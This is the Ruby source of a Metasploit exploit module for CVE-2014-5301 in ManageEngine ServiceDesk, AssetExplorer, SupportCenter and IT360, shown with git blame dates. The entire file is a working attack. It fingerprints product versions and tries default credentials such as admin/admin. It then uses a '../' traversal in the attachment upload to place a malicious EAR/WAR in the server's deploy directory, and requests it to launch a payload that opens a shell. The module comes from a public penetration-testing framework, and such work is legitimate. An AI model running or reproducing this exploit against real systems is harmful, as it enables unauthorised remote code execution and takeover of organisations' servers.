metasploit-framework/modules/exploits/multi/http/manageengine_auth_upload.rb

435 lines
15 KiB
Ruby
Raw Normal View History

2015-01-04 17:05:53 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2015-01-04 17:05:53 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2015-01-04 17:05:53 +00:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
2015-01-19 20:59:31 +00:00
'Name' => 'ManageEngine Multiple Products Authenticated File Upload',
'Description' => %q{
This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk,
AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts
2015-01-04 17:05:53 +00:00
the upload does not handle correctly '../' sequences, which can be abused to write
to the file system. Authentication is needed to exploit this vulnerability, but this module
2015-01-19 20:59:31 +00:00
will attempt to login using the default credentials for the administrator and guest
accounts. Alternatively, you can provide a pre-authenticated cookie or a username / password.
For IT360 targets, enter the RPORT of the ServiceDesk instance (usually 8400). All
2015-01-19 20:59:31 +00:00
versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer,
2015-01-04 17:05:53 +00:00
SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this
2017-08-29 00:17:58 +00:00
module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has
2015-01-04 17:05:53 +00:00
been tested successfully in Windows and Linux on several versions.
},
2015-01-19 20:59:31 +00:00
'Author' =>
2015-01-04 17:05:53 +00:00
[
2015-01-19 23:25:45 +00:00
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability Discovery and Metasploit module
2015-01-04 17:05:53 +00:00
],
2015-01-19 20:59:31 +00:00
'License' => MSF_LICENSE,
'References' =>
2015-01-04 17:05:53 +00:00
[
2015-01-19 20:59:31 +00:00
['CVE', '2014-5301'],
['OSVDB', '116733'],
2015-01-19 20:59:31 +00:00
['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5']
2015-01-04 17:05:53 +00:00
],
'DefaultOptions' => { 'WfsDelay' => 30 },
2015-01-19 20:59:31 +00:00
'Privileged' => false, # Privileged on Windows but not on Linux targets
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
2015-01-04 17:05:53 +00:00
[
[ 'Automatic', { } ],
2015-01-19 20:59:31 +00:00
[ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9',
2015-01-04 17:05:53 +00:00
{
'attachment_path' => '/workorder/Attachment.jsp'
}
],
2015-01-19 20:59:31 +00:00
[ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1',
2015-01-04 17:05:53 +00:00
{
'attachment_path' => '/common/FileAttachment.jsp'
}
],
2015-01-19 20:59:31 +00:00
[ 'IT360 v8-v10.4',
2015-01-04 17:05:53 +00:00
{
'attachment_path' => '/common/FileAttachment.jsp'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 15 2014'))
register_options(
[
Opt::RPORT(8080),
OptString.new('JSESSIONID',
[false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']),
OptString.new('IAMAGENTTICKET',
[false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
OptString.new('USERNAME',
[true, 'The username to login as', 'guest']),
OptString.new('PASSWORD',
[true, 'Password for the specified username', 'guest']),
OptString.new('DOMAIN_NAME',
[false, 'Name of the domain to logon to'])
])
2015-01-04 17:05:53 +00:00
end
def get_version
res = send_request_cgi({
2015-01-19 21:36:05 +00:00
'uri' => '/',
2015-01-04 17:05:53 +00:00
'method' => 'GET'
})
# Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360)
2015-01-19 21:36:05 +00:00
version = [ 9999, 9999, 0, 'sd' ]
2015-01-04 17:05:53 +00:00
if res && res.code == 200
if res.body.to_s =~ /ManageEngine ServiceDesk/
if res.body.to_s =~ /&nbsp;&nbsp;\|&nbsp;&nbsp;([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/
output = $1
2015-01-19 21:36:05 +00:00
version = [output[0].to_i, output[2].to_i, '0', 'sd']
2015-01-04 17:05:53 +00:00
end
if res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds
version[2] = $1.to_i
2015-01-04 17:05:53 +00:00
elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds
version[2] = $1.to_i
2015-01-04 17:05:53 +00:00
end
elsif res.body.to_s =~ /ManageEngine AssetExplorer/
2015-01-19 21:36:05 +00:00
if res.body.to_s =~ /ManageEngine AssetExplorer &nbsp;([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ ||
res.body.to_s =~ /<div class="login-versioninfo">version&nbsp;([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)<\/div>/
2015-01-04 17:05:53 +00:00
output = $1
2015-01-19 21:36:05 +00:00
version = [output[0].to_i, output[2].to_i, 0, 'ae']
2015-01-04 17:05:53 +00:00
end
if res.body.to_s =~ /src="\/scripts\/ClientLogger\.js\?([0-9]+)"><\/script>/
version[2] = $1.to_i
2015-01-04 17:05:53 +00:00
end
elsif res.body.to_s =~ /ManageEngine SupportCenter Plus/
# All of the vulnerable sc installations are "old style", so we don't care about the major / minor version
2015-01-19 21:36:05 +00:00
version[3] = 'sc'
2015-01-04 17:05:53 +00:00
if res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/
# ... but get the build number if we can find it
version[2] = $1.to_i
2015-01-04 17:05:53 +00:00
end
elsif res.body.to_s =~ /\/console\/ConsoleMain\.cc/
# IT360 newer versions
2015-01-19 21:36:05 +00:00
version[3] = 'it'
2015-01-04 17:05:53 +00:00
end
elsif res && res.code == 302 && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
# IT360 older versions, not a very good detection string but there is no alternative?
2015-01-19 21:36:05 +00:00
version[3] = 'it'
2015-01-04 17:05:53 +00:00
end
2015-01-19 21:36:05 +00:00
version
2015-01-04 17:05:53 +00:00
end
def check
version = get_version
2015-01-19 21:36:05 +00:00
# TODO: put fixed version on the two ifs below once (if...) products are fixed
# sd was fixed on build 9031
# ae and sc still not fixed
if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') ||
(version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') ||
(version[3] == 'sc' && version[2] < 99999)
2015-01-04 17:05:53 +00:00
return Exploit::CheckCode::Appears
end
2015-01-19 21:36:05 +00:00
if (version[2] > 9030 && version[3] == 'sd') ||
(version[2] > 99999 && version[3] == 'ae') ||
(version[2] > 99999 && version[3] == 'sc')
2015-01-04 17:05:53 +00:00
return Exploit::CheckCode::Safe
else
# An IT360 check always lands here, there is no way to get the version easily
return Exploit::CheckCode::Unknown
end
end
def authenticate_it360(port, path, username, password)
if datastore['DOMAIN_NAME'] == nil
vars_post = {
2015-01-19 21:36:05 +00:00
'LOGIN_ID' => username,
'PASSWORD' => password,
'isADEnabled' => 'false'
2015-01-04 17:05:53 +00:00
}
else
vars_post = {
2015-01-19 23:11:31 +00:00
'LOGIN_ID' => username,
'PASSWORD' => password,
'isADEnabled' => 'true',
'domainName' => datastore['DOMAIN_NAME']
2015-01-04 17:05:53 +00:00
}
end
res = send_request_cgi({
2015-01-19 23:11:31 +00:00
'rport' => port,
2015-01-04 17:05:53 +00:00
'method' => 'POST',
2015-01-19 23:11:31 +00:00
'uri' => normalize_uri(path),
2015-01-04 17:05:53 +00:00
'vars_get' => {
2015-01-19 23:11:31 +00:00
'service' => 'ServiceDesk',
'furl' => '/',
'timestamp' => Time.now.to_i
2015-01-04 17:05:53 +00:00
},
'vars_post' => vars_post
})
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
return res.get_cookies
else
return nil
end
end
def get_it360_cookie_name
res = send_request_cgi({
'method' => 'GET',
2015-01-19 23:25:45 +00:00
'uri' => normalize_uri("/")
2015-01-04 17:05:53 +00:00
})
cookie = res.get_cookies
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
return $1
else
return nil
end
end
def login_it360
# Do we already have a valid cookie? If yes, just return that.
2015-01-19 23:11:31 +00:00
if datastore['IAMAGENTTICKET']
2015-01-04 17:05:53 +00:00
cookie_name = get_it360_cookie_name
2015-01-19 21:36:05 +00:00
cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
2015-01-04 17:05:53 +00:00
return cookie
end
# get the correct path, host and port
res = send_request_cgi({
'method' => 'GET',
2015-01-19 23:25:45 +00:00
'uri' => normalize_uri('/')
2015-01-04 17:05:53 +00:00
})
if res && res.redirect?
uri = [ res.redirection.port, res.redirection.path ]
else
return nil
end
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
2015-01-19 23:11:31 +00:00
2015-01-04 17:05:53 +00:00
if cookie != nil
return cookie
elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil
# we've tried with the default guest password, now let's try with the default admin password
cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator')
if cookie != nil
return cookie
else
# Try one more time with the default admin login for some versions
cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin')
if cookie != nil
return cookie
end
end
end
2015-01-19 21:36:05 +00:00
nil
2015-01-04 17:05:53 +00:00
end
#
# Authenticate and validate our session cookie. We need to submit credentials to
# j_security_check and then follow the redirect to HomePage.do to create a valid
# authenticated session.
#
def authenticate(cookie, username, password)
res = send_request_cgi!({
'method' => 'POST',
2015-01-19 21:36:05 +00:00
'uri' => normalize_uri('/j_security_check;' + cookie.to_s.gsub(';', '')),
'ctype' => 'application/x-www-form-urlencoded',
2015-01-04 17:05:53 +00:00
'cookie' => cookie,
'vars_post' => {
'j_username' => username,
'j_password' => password,
'logonDomainName' => datastore['DOMAIN_NAME']
}
})
if res && (res.code == 302 || (res.code == 200 && res.body.to_s =~ /redirectTo="\+'HomePage\.do';/))
2015-01-19 23:14:23 +00:00
# sd and ae respond with 302 while sc responds with a 200
2015-01-04 17:05:53 +00:00
return true
else
return false
end
end
def login
# Do we already have a valid cookie? If yes, just return that.
if datastore['JSESSIONID'] != nil
2015-01-19 21:36:05 +00:00
cookie = 'JSESSIONID=' + datastore['JSESSIONID'].to_s + ';'
2015-01-04 17:05:53 +00:00
return cookie
end
# First we get a valid JSESSIONID to pass to authenticate()
res = send_request_cgi({
'method' => 'GET',
2015-01-19 21:36:05 +00:00
'uri' => normalize_uri('/')
2015-01-04 17:05:53 +00:00
})
if res && res.code == 200
cookie = res.get_cookies
authenticated = authenticate(cookie, datastore['USERNAME'], datastore['PASSWORD'])
if authenticated
return cookie
elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil
# we've tried with the default guest password, now let's try with the default admin password
authenticated = authenticate(cookie, 'administrator', 'administrator')
if authenticated
return cookie
else
# Try one more time with the default admin login for some versions
authenticated = authenticate(cookie, 'admin', 'admin')
if authenticated
return cookie
end
end
end
end
2015-01-19 21:36:05 +00:00
nil
2015-01-04 17:05:53 +00:00
end
def send_multipart_request(cookie, payload_name, payload_str)
if payload_name =~ /\.ear/
upload_path = '../../server/default/deploy'
else
upload_path = rand_text_alpha(4+rand(4))
end
post_data = Rex::MIME::Message.new
if @my_target == targets[1]
# old style
2015-01-19 21:36:05 +00:00
post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"")
2015-01-04 17:05:53 +00:00
post_data.add_part(payload_name, nil, nil, "form-data; name=\"filename\"")
2015-01-19 21:36:05 +00:00
post_data.add_part('', nil, nil, "form-data; name=\"vecPath\"")
post_data.add_part('', nil, nil, "form-data; name=\"vec\"")
post_data.add_part('AttachFile', nil, nil, "form-data; name=\"theSubmit\"")
post_data.add_part('WorkOrderForm', nil, nil, "form-data; name=\"formName\"")
2015-01-04 17:05:53 +00:00
post_data.add_part(upload_path, nil, nil, "form-data; name=\"component\"")
2015-01-19 21:36:05 +00:00
post_data.add_part('Attach', nil, nil, "form-data; name=\"ATTACH\"")
2015-01-04 17:05:53 +00:00
else
post_data.add_part(upload_path, nil, nil, "form-data; name=\"module\"")
2015-01-19 21:36:05 +00:00
post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"")
post_data.add_part('', nil, nil, "form-data; name=\"att_desc\"")
2015-01-04 17:05:53 +00:00
end
data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(@my_target['attachment_path']),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie
})
return res
end
def pick_target
return target if target.name != 'Automatic'
version = get_version
2015-01-19 21:36:05 +00:00
if (version[0] <= 7 && version[2] < 7016 && version[3] == 'sd') ||
(version[0] == 4 && version[3] == 'ae') ||
(version[3] == 'sc')
2015-01-04 17:05:53 +00:00
# These are all "old style" versions (sc is always old style)
return targets[1]
2015-01-19 21:36:05 +00:00
elsif version[3] == 'it'
2015-01-04 17:05:53 +00:00
return targets[3]
else
return targets[2]
end
end
def exploit
2015-01-19 23:11:31 +00:00
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable")
end
print_status("Selecting target...")
2015-01-04 17:05:53 +00:00
@my_target = pick_target
print_status("Selected target #{@my_target.name}")
2015-01-04 17:05:53 +00:00
if @my_target == targets[3]
cookie = login_it360
else
cookie = login
end
2015-01-19 23:11:31 +00:00
2015-01-19 23:22:04 +00:00
if cookie.nil?
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate")
2015-01-04 17:05:53 +00:00
end
# First we generate the WAR with the payload...
war_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
war_payload = payload.encoded_war({ :app_name => war_app_base })
# ... and then we create an EAR file that will contain it.
ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
2015-01-19 23:22:04 +00:00
app_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
app_xml << '<application>'
app_xml << "<display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name>"
app_xml << "<module><web><web-uri>#{war_app_base + ".war"}</web-uri>"
app_xml << "<context-root>/#{ear_app_base}</context-root></web></module></application>"
2015-01-04 17:05:53 +00:00
# Zipping with CM_STORE to avoid errors while decompressing the zip
# in the Java vulnerable application
ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
2015-01-19 21:36:05 +00:00
ear_file.add_file(war_app_base + '.war', war_payload.to_s)
ear_file.add_file('META-INF/application.xml', app_xml)
ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.ear'
2015-01-04 17:05:53 +00:00
if @my_target != targets[3]
# Linux doesn't like it when we traverse non existing directories,
# so let's create them by sending some random data before the EAR.
# (IT360 does not have a Linux version so we skip the bogus file for it)
print_status("Uploading bogus file...")
2015-01-04 17:05:53 +00:00
res = send_multipart_request(cookie, rand_text_alphanumeric(4 + rand(32 - 4)), rand_text_alphanumeric(4 + rand(32 - 4)))
if res && res.code != 200
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "#{peer} - Bogus file upload failed")
2015-01-04 17:05:53 +00:00
end
end
# Now send the actual payload
print_status("Uploading EAR file...")
2015-01-04 17:05:53 +00:00
res = send_multipart_request(cookie, ear_file_name, ear_file.pack)
if res && res.code == 200
2017-07-19 11:48:52 +00:00
print_good("Upload appears to have been successful")
2015-01-04 17:05:53 +00:00
else
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "#{peer} - EAR upload failed")
2015-01-04 17:05:53 +00:00
end
2015-01-19 23:22:04 +00:00
10.times do
select(nil, nil, nil, 2)
# Now make a request to trigger the newly deployed war
print_status("Attempting to launch payload in deployed WAR...")
2015-01-19 23:22:04 +00:00
res = send_request_cgi({
'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET'
})
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
2015-01-04 17:05:53 +00:00
end
end
end